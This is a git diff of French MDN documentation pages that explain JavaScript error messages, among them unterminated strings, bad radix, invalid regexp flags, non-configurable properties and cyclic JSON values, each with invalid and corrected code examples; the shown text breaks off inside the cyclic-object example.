- -

Une chaîne de caractères ({{jsxref("String")}}) n'est pas bien délimitée quelque part. Les littéraux de chaînes de caractères doivent être délimités par des simples quotes (') ou par des doubles quotes ("). Les séquences d'échappement permet de représenter dans ces chaînes de caractères. Pour réparer cette erreur :

- -
    -
  • Vérifiez que la chaîne est bien délimitée au début et à la fin par des doubles quotes ou par des simples quotes,
    • -
  • Vérifiez que les caractères spéciaux de la chaîne ont bien été échappés,
    • -
  • Vérifiez que le littéral est bien découpé pour gérer plusieurs lignes (si c'est le cas).
    • -
- -

Exemples

- -

Gérer plusieurs lignes

- -

En JavaScript, on ne peut pas écrire une chaîne simple sur plusieurs lignes comme ceci :

- -
var longString = "This is a very long string which needs
-                  to wrap across multiple lines because
-                  otherwise my code is unreadable.";
-// SyntaxError: unterminated string literal
- -

Pour écrire une chaîne sur plusieurs lignes, on pourra utiliser :

- - - -

Voici la première variante avec l'opérateur de concaténation :

- -
var longString = "This is a very long string which needs " +
-                 "to wrap across multiple lines because " +
-                 "otherwise my code is unreadable.";
-
- -

Sinon, on peut utiliser une barre oblique inversée à la fin de chaque ligne pour indiquer qu'elle continue sur la ligne suivante. Attention, il faudra qu'il n'y ait aucun espace ou autre caractère après la barre oblique (il peut bien entendu y avoir un saut de ligne) :

- -
var longString = "This is a very long string which needs \
-to wrap across multiple lines because \
-otherwise my code is unreadable.";
-
- -

On pourra également utiliser les littéraux de gabarits qui sont pris en charge par les environnement ECMAScript 2015 :

- -
var longString = `This is a very long string which needs
-                  to wrap across multiple lines because
-                  otherwise my code is unreadable.`;
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html b/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html deleted file mode 100644 index 44ba49c346..0000000000 --- a/files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 'TypeError: variable "x" redeclares argument' -slug: Web/JavaScript/Reference/Erreurs/Var_hides_argument -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Var_hides_argument ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: variable "x" redeclares argument (Firefox)
-
- -

Type d'erreur

- -

Une erreur {{jsxref("TypeError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

Le même nom de variable est utilisé comme nom pour un paramètre et comme nom de variable via une affectation var. Cela peut être lié à un conflit de nommage et le moteur envoie un avertissement.

- -

Cette erreur ne se produit qu'en mode strict. Pour du code non-strict, la redéclaration est ignorée silencieusement..

- -

Exemples

- -

Exemples invalides

- -

Ici, la variable arg redéclare l'argument de la fonction :

- -
"use strict";
-
-function f(arg) {
-  var arg = "foo";
-}
-
- -

Exemples valides

- -

Pour résoudre ce problème, on pourra généralement retirer l'instruction var car la variable existe déjà et peut être utilisée. Si on ne veut pas utiliser cette même variable, mieux vaudra renommer le paramètre ou la variable interne afin de lever l'ambiguïté.

- -
"use strict";
-
-function f(arg) {
-  arg = "foo";
-}
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/errors/already_has_pragma/index.html b/files/fr/web/javascript/reference/errors/already_has_pragma/index.html new file mode 100644 index 0000000000..6521ccba03 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/already_has_pragma/index.html @@ -0,0 +1,41 @@ +--- +title: 'Warning: -file- is being assigned a //# sourceMappingURL, but already has one' +slug: Web/JavaScript/Reference/Erreurs/Already_has_pragma +tags: + - Avertissement + - Erreurs + - JavaScript +translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: -fichier- is being assigned a //# sourceMappingURL, but already has one.
+ +

Type d'erreur

+ +

Un avertissement. L'exécution du script JavaScript n'est pas interrompue.

+ +

Quel est le problème ?

+ +

Un fichier source map a été défini plus d'une fois pour un fichier source JavaScript donné.

+ +

La plupart du temps, les fichiers sources des scripts JavaScript sont fusionnés et minifiés afin que les transferts de fichiers du serveur vers le navigateur soient plus efficaces. Grâce aux fichiers de correspondance des sources (source maps), il est possible d'indiquer au débogueur le code original correspondant. Il existe deux méthodes pour déclarer une correspondance de sources : en utilisant un commentaire ou définissant un en-tête pour le fichier JavaScript.

+ +

Exemples

+ +

Voici une correspondance de source déclarée via un commentaire dans le fichier :

+ +
//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
+ +

Une autre méthode consiste à indiquer la source originale dans l'en-tête du fichier JavaScript :

+ +
X-SourceMap: /chemin/vers/le/fichier.js.map
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/array_sort_argument/index.html b/files/fr/web/javascript/reference/errors/array_sort_argument/index.html new file mode 100644 index 0000000000..c8aaa54b05 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/array_sort_argument/index.html @@ -0,0 +1,47 @@ +--- +title: 'TypeError: invalid Array.prototype.sort argument' +slug: Web/JavaScript/Reference/Erreurs/Array_sort_argument +tags: + - Erreurs + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Errors/Array_sort_argument +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: argument is not a function object (Edge)
+TypeError: invalid Array.prototype.sort argument (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Que s'est-il passé ?

+ +

L'argument passé à {{jsxref("Array.prototype.sort()")}} devrait être {{jsxref("undefined")}} ou être une fonction comparant ses opérandes.

+ +

Exemples

+ +

Cas invalides

+ +
[1, 3, 2].sort(5);  // TypeError
+
+var cmp = { asc: (x, y) => x >= y, dsc : (x, y) => x <= y };
+[1, 3, 2].sort(cmp[this.key] || 'asc');  // TypeError
+
+ +

Cas valides

+ +
[1, 3, 2].sort();   // [1, 2, 3]
+
+var cmp = { asc: (x, y) => x >= y, dsc : (x, y) => x <= y };
+[1, 3, 2].sort(cmp[this.key || 'asc']); // [1, 2, 3]
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.sort()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/bad_octal/index.html b/files/fr/web/javascript/reference/errors/bad_octal/index.html new file mode 100644 index 0000000000..241f127a05 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/bad_octal/index.html @@ -0,0 +1,52 @@ +--- +title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant' +slug: Web/JavaScript/Reference/Erreurs/Bad_octal +tags: + - Erreurs + - JavaScript + - Mode strict + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Bad_octal +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
+Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
+
+ +

Type d'erreur

+ +

Un avertissement, l'exécution du script JavaScript ne sera pas interrompue.

+ +

Quel est le problème ?

+ +

Les littéraux de nombres décimaux peuvent démarrer par un zéro suivi d'un autre chiffre. Si tous les chiffres après le 0 de tête sont inférieurs à 8, le nombre est interprété comme un nombre en notation octale. Or, cela ne peut pas être le cas avec 08 et 09 et JavaScript produit un avertissement.

+ +

Les littéraux en notation octale et les séquences d'échappement octales sont désormais dépréciées (il y a aura donc un avertissement complémentaire sur la dépréciation de ces notations). Avec ECMAScript 6 et les versions ultérieures, la syntaxe utilise un zéro initial, suivi de la lettre latine « o » en majuscule ou en minuscule ((0o ou 0O). Pour plus d'informations à ce sujet, voir la page sur la grammaire lexicale JavaScript.

+ +

Exemples

+ +

Nombres invalides en notation octale

+ +
08;
+09;
+// SyntaxError: 08 is not a legal ECMA-262 octal constant
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences are deprecated
+ +

Nombres valides en notation octale

+ +

On utilisera un zéro suivi de la lettre « o » pour indiquer un nombre exprimé en notation octale :

+ +
0O755;
+0o644;
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/bad_radix/index.html b/files/fr/web/javascript/reference/errors/bad_radix/index.html new file mode 100644 index 0000000000..37944b3ff8 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/bad_radix/index.html @@ -0,0 +1,63 @@ +--- +title: 'RangeError: radix must be an integer' +slug: Web/JavaScript/Reference/Erreurs/Bad_radix +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Bad_radix +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: invalid argument (Edge)
+RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
+RangeError: toString() radix argument must be between 2 and 36 (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

C'est le paramètre utilisé avec la méthode {{jsxref("Number.prototype.toString()")}} ou avec la méthode {{jsxref("BigInt.prototype.toString()")}} pour indiquer la base de conversion qui est en cause. Ce paramètre, optionnel, doit être un nombre entier, compris entre 2 et 36 qui inique la base du système numérique dans lequel on veut représenter les valeurs numériques.

+ +

Pourquoi limiter la base à 36 ? Lorsqu'une base est supérieure à 10, on utilise les caractères de l'alphabet pour représenter les chiffres. Or, l'alphabet latin ne possède que 26 caractères. En utilisant donc les 10 chiffres arabes et ces caractères, on possède 36 caractères pour représenter les chiffres d'un nombre.

+ +

Généralement, on emploie cette méthode avec des bases fréquemment utilisées :

+ + + +

Examples

+ +

Exemples invalides

+ +
(42).toString(0);
+(42).toString(1);
+(42).toString(37);
+(42).toString(150);
+// On ne peut pas utiliser une telle
+// chaîne pour du formatage :
+(12071989).toString("MM-dd-yyyy");
+
+ +

Exemples valides

+ +
(42).toString(2);     // "101010" (binary)
+(13).toString(8);     // "15"     (octal)
+(0x42).toString(10);  // "66"     (decimal)
+(100000).toString(16) // "186a0"  (hexadecimal)
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/fr/web/javascript/reference/errors/bad_regexp_flag/index.html new file mode 100644 index 0000000000..54005c38e5 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/bad_regexp_flag/index.html @@ -0,0 +1,106 @@ +--- +title: 'SyntaxError: invalid regular expression flag "x"' +slug: Web/JavaScript/Reference/Erreurs/Bad_regexp_flag +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Syntax error in regular expression (Edge)
+SyntaxError: invalid regular expression flag "x" (Firefox)
+SyntaxError: Invalid regular expression flags (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Un marqueur (flag) invalide est utilisé dans une expression rationnelle. Un littéral d'expression rationnelle se compose d'un motif entouré de deux barres obliques, les marqueurs sont ajoutés après la seconde barre oblique. On peut également les indiquer dans le deuxième paramètre du constructeur {{jsxref("RegExp")}}. Les marqueurs d'une expression rationnelle peuvent être utilisés séparément ou combinés, dans n'importe quel ordre. Il existe uniquement cinq marqueurs autorisés en ECMAScript.

+ +

Pour ajouter un marqueur sur une expression rationnelle, on utilisera cette syntaxe :

+ +
var re = /motif/marqueurs;
+
+ +

ou encore :

+ +
var re = new RegExp('motif', 'marqueurs');
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Marqueurs autorisés pour les expressions rationnelles
MarqueurDescription
gRecherche globale.
iRecherche non-sensible à la casse.
mRecherche sur plusieurs lignes.
uUnicode : le motif est interprété comme une suite de codets Unicode.
yLa recherche effectuée est « adhérente » et recherche une correspondance à la position indiquée dans la chaîne cible (cf. {{jsxref("RegExp.sticky", "sticky")}}).
+ +

Exemples

+ +

Seuls cinq marqueurs d'expression rationnelle sont valides :

+ +
/toto/truc;
+
+// SyntaxError: invalid regular expression flag "t"
+
+ +

Peut-être souhaitiez-vous créer une expression rationnelle ? Une expression qui contient deux barres obliques est interprétée comme un littéral d'expression rationnelle :

+ +
let obj = {
+  url: /docs/Web
+};
+
+// SyntaxError: invalid regular expression flag "W"
+
+ +

Peut-être souhaitiez-vous créer une chaîne de caractères ? Dans ce cas, il faut ajouter des quotes (simples ou doubles) afin de former un littéral de chaîne de caractères :

+ +
let obj = {
+  url: '/docs/Web'
+};
+ +

Marqueurs valides

+ +

Voir le tableau ci-avant pour la liste des marqueurs autorisés pour manipuler les expressions rationnelles en JavaScript.

+ +
/toto/g;
+/toto/gim;
+/toto/uy;
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.html new file mode 100644 index 0000000000..e5e015f52d --- /dev/null +++ b/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.html @@ -0,0 +1,57 @@ +--- +title: 'SyntaxError: return not in function' +slug: Web/JavaScript/Reference/Erreurs/Bad_return_or_yield +tags: + - Erreurs + - JavaScript + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: 'return' statement outside of function (Edge)
+SyntaxError: return not in function (Firefox)
+SyntaxError: yield not in function (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}.

+ +

Quel est le problème ?

+ +

Une instruction return ou yield est utilisée en dehors d'une fonction. Il est possible que des accolades soient manquantes. Les mots-clés return et yield doivent être utilisés dans une fonction car ils permettent de terminer ou d'arrêter/reprendre l'exécution d'une fonction et de définir une valeur qui doit être renvoyée à l'appelant de la fonction.

+ +

Exemples

+ +
var encouragement = function(score) {
+  if (score === 147)
+    return "Super !";
+  };
+  if (score > 100) {
+    return "Un record!";
+  }
+}
+
+// SyntaxError: return not in function
+ +

À première vue, les accolades semblent correctes mais en regardant de plus près, on voit qu'il manque une accolade ouvrante ("{") après la première instruction if. La version correcte serait :

+ +
var encouragement = function(score) {
+  if (score === 147) {
+    return "Maximum!";
+  }
+  if (score > 100) {
+    return "Century!";
+  }
+};
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/fr/web/javascript/reference/errors/called_on_incompatible_type/index.html new file mode 100644 index 0000000000..0ea10d9cb0 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/called_on_incompatible_type/index.html @@ -0,0 +1,75 @@ +--- +title: 'TypeError: X.prototype.y called on incompatible type' +slug: Web/JavaScript/Reference/Erreurs/Called_on_incompatible_type +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: 'this' is not a Set object (Edge)
+TypeError: Function.prototype.toString called on incompatible object (Firefox)
+TypeError: Function.prototype.bind called on incompatible target (Firefox)
+TypeError: Method Set.prototype.add called on incompatible receiver undefined (Chrome)
+TypeError: Bind must be called on a function (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Lorsque cette erreur est levée, cela signifie qu'une fonction (d'un objet donné) est appelé avec une valeur this qui ne correspond pas au type attendu par la fonction.

+ +

Cela peut se produire lorsqu'on utilise les méthodes {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} et qu'on fournit un argument this dont le type n'est pas celui attendu.

+ +

Cela peut également se produire quand on fournit une fonction (sous la forme d'un objet) comme argument d'une autre fonction. Dans ce cas, l'objet ne sera pas capturé comme valeur this pour la fonction. Pour contourner ce problème, on peut fournir une fonction lambda qui effectue l'appel ou utiliser la fonction {{jsxref("Function.prototype.bind()")}} afin que this soit l'objet attendu.

+ +

Exemples

+ +

Exemples invalides

+ +
var monSet = new Set;
+['truc', 'bidule'].forEach(monSet.add);
+// monSet.add est une fonction mais
+// "monSet" n'est pas capturé en tant que this.
+
+var maFonction = function () {
+  console.log(this);
+};
+['truc', 'bidule'].forEach(maFonction.bind);
+// maFonction.bind est une fonction
+// mais "maFonction" n'est pas capturé en tant
+// que this.
+
+
+ +

Exemples valides

+ +
var monSet = new Set;
+['truc', 'bidule'].forEach(monSet.add.bind(monSet));
+// Cela fonctionne car on lie "monSet" avec this.
+
+var maFonction = function () {
+  console.log(this)
+};
+['truc', 'bidule'].forEach(x => maFonction.bind(x));
+// Cela fonctionne car on utilise
+// la fonction "bind" ce qui permet de
+// créer une fonction lambda qui propage
+// l'argument.
+
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Function.prototype.call()")}}
    • +
  • {{jsxref("Function.prototype.apply()")}}
    • +
  • {{jsxref("Function.prototype.bind()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html new file mode 100644 index 0000000000..928e57c475 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html @@ -0,0 +1,62 @@ +--- +title: 'ReferenceError: can''t access lexical declaration`X'' before initialization' +slug: Web/JavaScript/Reference/Erreurs/Cant_access_lexical_declaration_before_init +tags: + - Erreur + - JavaScript + - Reference + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
ReferenceError: Use before delaration (Edge)
+ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
+ReferenceError: 'x' is not defined (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("ReferenceError")}}

+ +

Quel est le problème ?

+ +

Il y a eu un accès à une variable déclarée avec let ou const avant que celle-ci ait été initialisée. Cela peut se produire dans n'importe quelle instruction de bloc avec une variable déclarée avec let ou const et qui est utilisée avant son initialisation.

+ +

Exemple

+ +

Exemples invalides

+ +

Dans l'exemple qui suit, la variable toto est redéclarée dans le bloc avec un second let et elle n'est donc pas initialisée.

+ +
function test(){
+   let toto = 33;
+   if (true) {
+      let toto = (toto + 55);
+      // ReferenceError: can't access lexical
+      // declaration `toto` before initialization
+   }
+}
+test();
+
+ +

Exemples valides

+ +

Afin que toto puisse être modifiée au sein de l'instruction if, on enlèvera la redéclaration dans ce bloc :

+ +
function test(){
+   let toto = 33;
+   if (true) {
+      toto = (toto + 55);
+   }
+}
+test();
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/cant_access_property/index.html b/files/fr/web/javascript/reference/errors/cant_access_property/index.html new file mode 100644 index 0000000000..88e96eebef --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_access_property/index.html @@ -0,0 +1,59 @@ +--- +title: 'TypeError: can''t access property "x" of "y"' +slug: Web/JavaScript/Reference/Erreurs/Cant_access_property +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cant_access_property +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: can't access property {x} of {y} (Firefox)
+TypeError: {y} is undefined, can't access property {x} of it (Firefox)
+TypeError: {y} is null, can't access property {x} of it (Firefox)
+
+Exemples
+TypeError: x is undefined, can't access property "prop" of it
+TypeError: x is null, can't access property "prop" of it
+TypeError: can't access property "prop" of undefined
+TypeError: can't access property "prop" of null
+
+ +

Types d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

On a tenté d'accéder à une propriété sur la valeur {{jsxref("undefined")}} ou {{jsxref("null")}}.

+ +

Exemples

+ +

Cas invalides

+ +
// undefined et null ne possèdent aucune propriété et aucune méthode substring
+var toto = undefined;
+toto.substring(1); // TypeError: x is undefined, can't access property "substring" of it
+
+var toto = null;
+toto.substring(1); // TypeError: x is null, can't access property "substring" of it
+
+ +

Corriger le problème

+ +

Pour détecter le cas où la valeur utilisée est undefined ou null, on peut utiliser l'opérateur typeof. Par exemple :

+ +
if (typeof toto !== 'undefined') {
+  // On sait alors que toto est bien défini et on peut utiliser ses propriétés s'il en a.
+}
+ +

Voir aussi

+ +
    +
  • {{jsxref("undefined")}}
    • +
  • {{jsxref("null")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/fr/web/javascript/reference/errors/cant_assign_to_property/index.html new file mode 100644 index 0000000000..ecaf275f20 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -0,0 +1,55 @@ +--- +title: 'TypeError: can''t assign to property "x" on "y": not an object' +slug: Web/JavaScript/Reference/Erreurs/Cant_assign_to_property +tags: + - Error + - Errors + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
+TypeError: Cannot create property 'x' on {y} (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

En mode strict, une exception {{jsxref("TypeError")}} est déclenchée lorsqu'on tente de créer une propriété sur une valeur primitive telle qu'un symbole, une chaîne de caractères, un nombre ou un booleén.

+ +

Le problème peut être lié à une valeur qui se trouve à un endroit inattendu ou qu'un équivalent objet d'une valeur primitive est attendu (ex. {{jsxref("String")}} pour la chaîne de caractères ou {{jsxref("Number")}} pour un nombre).

+ +

Exemples

+ +

Exemple invalide

+ +
'use strict';
+
+var foo = "my string";
+// The following line does nothing if not in strict mode.
+foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
+
+ +

Exemple valide

+ +

On pourra corriger le problème en convertissant la valeur primitive en sont équivalent objet avec un constructeur (ici {{jsxref("String")}} pour .

+ +
'use strict';
+
+var foo = new String("my string");
+foo.bar = {};
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Strict_mode")}}
    • +
  • {{Glossary("primitive")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html b/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html new file mode 100644 index 0000000000..62c09c1a44 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html @@ -0,0 +1,65 @@ +--- +title: 'TypeError: can''t define property "x": "obj" is not extensible' +slug: Web/JavaScript/Reference/Erreurs/Cant_define_property_object_not_extensible +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Cannot create property for a non-extensible object (Edge)
+TypeError: can't define property "x": "obj" is not extensible (Firefox)
+TypeError: Cannot define property: "x", object is not extensible. (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

La plupart du temps, un objet est extensible, ce qui signifie qu'on peut lui ajouter de nouvelles propriétés. Cependant, dans ce cas, on a utilisé la méthode {{jsxref("Object.preventExtensions()")}} afin de marquer l'objet comme non-extensible. Celui-ci ne pourra donc pas recevoir de nouvelles propriétés en plus de celles dont il dispose déjà.

+ +

Exemples

+ +

En mode strict, si on essaie d'ajouter une nouvelle propriété sur un objet non-extensible, on obtient une exception TypeError. En mode non-strict, l'ajout de la nouvelle propriété est ignoré silencieusement.

+ +
'use strict';
+
+var obj = {};
+Object.preventExtensions(obj);
+
+obj.x = 'toto';
+// TypeError: can't define property "x": "obj" is not extensible
+
+ +

Pour le mode strict ete le mode non-strict, un appel à {{jsxref("Object.defineProperty()")}} déclenchera une exception lorsqu'on utilisera cette méthode pour ajouter une nouvelle propriété à un objet non-extenssible.

+ +
var obj = { };
+Object.preventExtensions(obj);
+
+Object.defineProperty(obj,
+  'x', { value: "toto" }
+);
+// TypeError: can't define property "x": "obj" is not extensible
+
+ +

Pour corriger cet erreur, il faut retirer l'appel à {{jsxref("Object.preventExtensions()")}} pour que l'objet soit extensible, soit ajouter la propriété avant que l'objet devienne non-extensible, soit retirer l'ajout de cette propriété si elle n'est pas nécessaire.

+ +
'use strict';
+
+var obj = {};
+obj.x = 'toto'; // On ajoute la propriété avant de
+               // bloquer l'ajout d'autres propriétés
+
+Object.preventExtensions(obj);
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.preventExtensions()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/cant_delete/index.html b/files/fr/web/javascript/reference/errors/cant_delete/index.html new file mode 100644 index 0000000000..ce9c8a7b0e --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_delete/index.html @@ -0,0 +1,59 @@ +--- +title: 'TypeError: property "x" is non-configurable and can''t be deleted' +slug: Web/JavaScript/Reference/Erreurs/Cant_delete +tags: + - Erreurs + - JavaScript + - Mode strict + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cant_delete +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Calling delete on 'x' is not allowed in strict mode (Edge)
+TypeError: property "x" is non-configurable and can't be deleted. (Firefox)
+TypeError: Cannot delete property 'x' of #<Object> (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}} in strict mode only.

+ +

Quel est le problème ?

+ +

Une instruction demande la suppression d'une propriété non-configurable. L'attribut configurable permet de contrôler si la propriété peut être supprimée de l'objet auquel elle est rattachée et si ces attributs (en dehors de writable) peuvent être modifiés.

+ +

Cette erreur ne se produit qu'en mode strict. En mode non-strict, l'opération de suppression renverra false.

+ +

Exemples

+ +

Les propriétés non-configurables ne sont pas très fréquentes mais il est possible d'en créer grâce à {{jsxref("Object.defineProperty()")}} ou à  {{jsxref("Object.freeze()")}}.

+ +
"use strict";
+var obj = Object.freeze({name: "Elsa", score: 157});
+delete obj.score;  // TypeError
+
+"use strict";
+var obj = {};
+Object.defineProperty(obj, "toto", {value: 2, configurable: false});
+delete obj.toto;  // TypeError
+
+"use strict";
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray.pop();  // TypeError
+
+ +

Certaines propriétés natives de JavaScript sont non-configurables. Peut-être que le code tente de supprimer une constante mathématique :

+ +
"use strict";
+delete Math.PI;  // TypeError
+ +

Voir aussi

+ +
    +
  • L'opérateur delete
    • +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/cant_redefine_property/index.html b/files/fr/web/javascript/reference/errors/cant_redefine_property/index.html new file mode 100644 index 0000000000..408d60151a --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cant_redefine_property/index.html @@ -0,0 +1,51 @@ +--- +title: 'TypeError: can''t redefine non-configurable property "x"' +slug: Web/JavaScript/Reference/Erreurs/Cant_redefine_property +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Cannot modify non-writable property {x} (Edge)
+TypeError: can't redefine non-configurable property "x" (Firefox)
+TypeError: Cannot redefine property: "x" (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

On essaie de redéfinir une propriété alors que celle-ci est non-configurable. L'attribut configurable permet d'indiquer si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de writable) peuvent être modifiés. Généralement, les propriétés d'un objet créées avec un initialisateur d'objet sont configurables. Cependant, lorsqu'on utilise la méthode {{jsxref("Object.defineProperty()")}}, la propriété n'est pas configurable par défaut.

+ +

Exemples

+ +

Propriétés non-configurables créées avec Object.defineProperty()

+ +

La méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas le contraire :

+ +
var obj = Object.create({});
+Object.defineProperty(obj, "toto", {value: "machin"});
+
+Object.defineProperty(obj, "toto", {value: "bidule"});
+// TypeError: can't redefine non-configurable property "toto"
+
+ +

Si on veut pouvoir redéfinir la propriété "toto" dans la suite du code, il faudra la créer comme étant configurable.

+ +
var obj = Object.create({});
+Object.defineProperty(obj, "toto", {value: "machin", configurable: true});
+Object.defineProperty(obj, "toto", {value: "bidule", configurable: true});
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/cyclic_object_value/index.html b/files/fr/web/javascript/reference/errors/cyclic_object_value/index.html new file mode 100644 index 0000000000..254ee63c08 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/cyclic_object_value/index.html @@ -0,0 +1,68 @@ +--- +title: 'TypeError: cyclic object value' +slug: Web/JavaScript/Reference/Erreurs/Cyclic_object_value +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: cyclic object value (Firefox)
+TypeError: Converting circular structure to JSON (Chrome and Opera)
+TypeError: Circular reference in value argument not supported (Edge)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Lorsqu'on appelle la méthode {{jsxref("JSON.stringify()")}}, les structures de références cycliques ne peuvent pas être converties en chaîne de caractères car le format JSON ne prend pas en charge les références (bien qu'un brouillon IETF existe).

+ +

Exemples

+ +

Avec une structure circulaire comme la suivante :

+ +
var a = {};
+var b = {};
+a.child = b;
+b.child = a;
+
+ +

{{jsxref("JSON.stringify()")}} échouera :

+ +
JSON.stringify(a);
+// TypeError: cyclic object value
+
+ +

Il est nécessaire de contrôler l'existence de cycles avant la conversion en chaîne de caractères. On peut par exemple fournir une fonction de remplacement comme deuxième argument de la fonction {{jsxref("JSON.stringify()")}}.

+ +
const getCircularReplacer = () => {
+  const seen = new WeakSet();
+  return (key, value) => {
+    if (typeof value === "object" && value !== null) {
+      if (seen.has(value)) {
+        return;
+      }
+      seen.add(value);
+    }
+    return value;
